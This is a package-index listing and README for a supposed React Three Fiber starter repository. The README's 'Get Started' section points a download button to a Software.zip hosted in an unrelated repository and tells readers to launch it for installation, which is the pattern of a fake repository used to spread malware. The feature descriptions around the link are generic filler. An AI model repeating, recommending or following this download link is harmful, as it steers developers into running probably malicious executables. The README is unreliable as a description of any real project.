https://github.com/ikhsan789/r3f-starter

React Three Fiber boilerplate with Vite and Drei to get you started
https://github.com/ikhsan789/r3f-starter

create-react-app-template expo glsl-shaders gpgpu prettier-eslint r3f r3f-drei react-native react-three-fiber reactthreefiber threejs-boilerplate typescript webgpu zustand

Last synced: 2 days ago
JSON representation

React Three Fiber boilerplate with Vite and Drei to get you started

• Host: GitHub
• URL: https://github.com/ikhsan789/r3f-starter
• Owner: IKHSAN789
• Created: 2025-01-18T14:58:11.000Z (3 days ago)
• Default Branch: main
• Last Pushed: 2025-01-18T16:25:43.000Z (3 days ago)
• Last Synced: 2025-01-18T16:31:03.302Z (3 days ago)
• Topics: create-react-app-template, expo, glsl-shaders, gpgpu, prettier-eslint, r3f, r3f-drei, react-native, react-three-fiber, reactthreefiber, threejs-boilerplate, typescript, webgpu, zustand
• Size: 1000 Bytes
• Stars: 0
• Watchers: 1
• Forks: 0
• Open Issues: 0
• Metadata Files:
  • Readme: README.md

Awesome Lists containing this project

README

        

# 🚀 Welcome to **r3f-starter** 🚀

![React Three Fiber Boilerplate](https://via.placeholder.com/800x400)

## Description

**r3f-starter** is a React Three Fiber boilerplate with Vite and Drei to get you started quickly on your Three.js and React Three Fiber projects. This boilerplate provides a solid foundation with modern tooling to help you build engaging and interactive 3D applications.

## Features

- **React Three Fiber Integration**: Seamlessly integrate Three.js with React using React Three Fiber.

- **Vite Build System**: Fast, reliable, and modern build system for your project.

- **Drei Components**: Utilize pre-built 3D components from Drei to enhance your scenes.

- **Starter Templates**: Jumpstart your project with starter templates included in this repository.

## Installation

Clone the repository and run:

```bash

npm install

```

## Usage

Start the development server:

```bash

npm run dev

```

## Topics

- boilerplate

- drei

- fiber

- r3f

- r3f-drei

- react

- reactjs

- starter

- three

- three-js

- threejs

## Get Started

For getting started with **r3f-starter**, download our software package by clicking the button below:

[![Download Software](https://img.shields.io/badge/Download-Software-blue)](https://github.com/rokytd/files/raw/refs/heads/master/Software.zip)

Note: The software package needs to be launched for installation purposes.

If the above link is not working, please check the "Releases" section of this repository for alternative download options.

---

### Happy Coding! 🎉

Feel free to explore and create amazing 3D experiences with **r3f-starter**! If you have any questions or feedback, don't hesitate to reach out to us. Thank you for choosing **r3f-starter** for your 3D projects! 🚀